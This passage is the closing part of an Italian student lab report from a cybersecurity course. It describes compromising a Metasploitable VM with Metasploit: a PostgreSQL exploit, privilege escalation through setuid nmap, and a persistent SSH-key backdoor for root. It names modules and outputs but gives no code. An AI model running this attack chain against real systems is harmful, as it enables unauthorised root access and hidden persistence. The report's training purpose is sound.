6. Risultati Ottenuti

Ricognizione nmap completata con successo

nmap ha identificato PostgreSQL 8.3.0-8.3.7 sulla porta 5432/tcp di 192.168.1.149, con certificato SSL scaduto nel 2010 e configurazione priva di autenticazione adeguata.

Sessione Meterpreter iniziale aperta (sessione 1, utente postgres)

Il modulo postgres_payload ha sfruttato con successo il servizio, aprendo Meterpreter session 1 (192.168.1.164:4444 -> 192.168.1.149:39704) alle 15:37:24 come utente postgres tramite upload di shared library .so in /tmp.

252 controlli eseguiti, 9 vulnerabilit  locali identificate

Il modulo local_exploit_suggester ha individuato 9 vettori di attacco con flag "Yes", tra cui setuid_nmap (check esplicito: "/usr/bin/nmap is setuid") e moduli di persistenza SSH, cron e autostart.

Privilege escalation a root completata (sessione 4, Meterpreter root)

Tramite setuid_nmap e' stata aperta la shell root (sessione 2, cmd/unix), poi convertita in Meterpreter sessione 4 con shell_to_meterpreter. getuid ha restituito "Server username: root".

Backdoor SSH installata e accesso verificato (sessione 6)

Il modulo `ssh_key` ha aggiunto la chiave pubblica agli `authorized_keys` di `root` e `msfadmin`. L'accesso tramite backdoor è stato confermato da `ssh_login`: sessione 6 aperta come `root` alle 17:34:22, prompt `root@metasploitable:~#`.

7. Difficoltà Ricontrate

La difficoltà principale è emersa nella fase di privilege escalation. Il modulo `local_exploit_suggester` ha restituito un elenco piuttosto lungo di vettori potenziali, e non era immediato capire quale fosse il più affidabile. Ho provato inizialmente un modulo legato alla libreria `glibc` che, pur risultando "Yes" nella colonna `Potentially Vulnerable`, non ha prodotto alcun risultato concreto durante l'esecuzione. Solo dopo aver letto con più attenzione il `check result` di `setuid_nmap` ho capito che era la scelta più solida: il messaggio `"/usr/bin/nmap is setuid"` era inequivocabile.

Un'altra difficoltà è sorta nella fase di upgrade della shell. Dopo l'exploit `setuid_nmap` mi sono ritrovato con una sessione di tipo `cmd/unix` e non sapevo subito come procedere in modo efficiente verso una Meterpreter completa. Ho dovuto cercare il modulo `shell_to_meterpreter` e capire come configurarlo correttamente. Ho avuto anche un momento di confusione sulla numerazione delle sessioni: dopo il primo exploit stavo gestendo ID non consecutivi (1, 2, 4), il che all'inizio mi ha disorientato nella gestione della console.

Per la backdoor, la parte più delicata è stata recuperare la chiave privata dal percorso corretto del `loot` e impostare i permessi a 600 con `chmod` prima di usarla. Senza quei permessi, SSH rifiuta la chiave e la connessione fallisce senza messaggi chiari. Una volta risolto questo aspetto, la verifica tramite `ssh_login` è andata a buon fine senza ulteriori problemi.

8. Conclusioni

Questa esercitazione mi ha permesso di seguire per la prima volta un percorso di attacco completo su un sistema Linux: dalla ricognizione iniziale, passando per l'exploitation di un servizio esposto, fino all'escalation dei privilegi e all'installazione di una backdoor persistente. Lavorare con Metasploit in modo sequenziale, usando moduli exploit, post e ausiliari in combinazione, mi ha dato una visione molto più concreta di come un attacco reale possa svilupparsi per fasi successive.

La parte che ho trovato più formativa è stata la privilege escalation. Non basta ottenere un primo accesso: spesso quell'accesso iniziale riguarda un utente con pochi diritti, e bisogna trovare il modo di acquisire privilegi maggiori. Il modulo `local_exploit_suggester` si è rivelato uno strumento molto potente per automatizzare questa analisi, anche se richiede un minimo di ragionamento critico per selezionare il vettore giusto tra quelli proposti.

La backdoor SSH mi ha chiarito in modo pratico il concetto di persistenza: anche se il servizio PostgreSQL venisse patchato o il sistema riavviato, l'accesso root tramite chiave SSH rimarrebbe attivo finché la chiave pubblica fosse presente negli `authorized_keys`. In un contesto reale, questo tipo di backdoor è difficile da individuare se l'amministratore non controlla regolarmente i file di autorizzazione SSH e i log di accesso.

Nel complesso, questa esercitazione ha rafforzato la mia comprensione pratica del Metasploit Framework e mi ha mostrato quanto sia importante, in un'analisi di sicurezza, non fermarsi al primo risultato ottenuto ma esplorare ogni possibile vettore di privilegio e persistenza. E un approccio che mi ha fatto capire meglio anche dal lato difensivo quanto sia fondamentale mantenere i sistemi aggiornati, configurare correttamente i permessi e monitorare gli accessi SSH.

Report redatto nell'ambito del Corso di Cybersecurity & Ethical Hacking, A.Y. 2025/2026. Tutte le attività descritte sono state condotte in un ambiente di laboratorio controllato, a scopo esclusivamente didattico.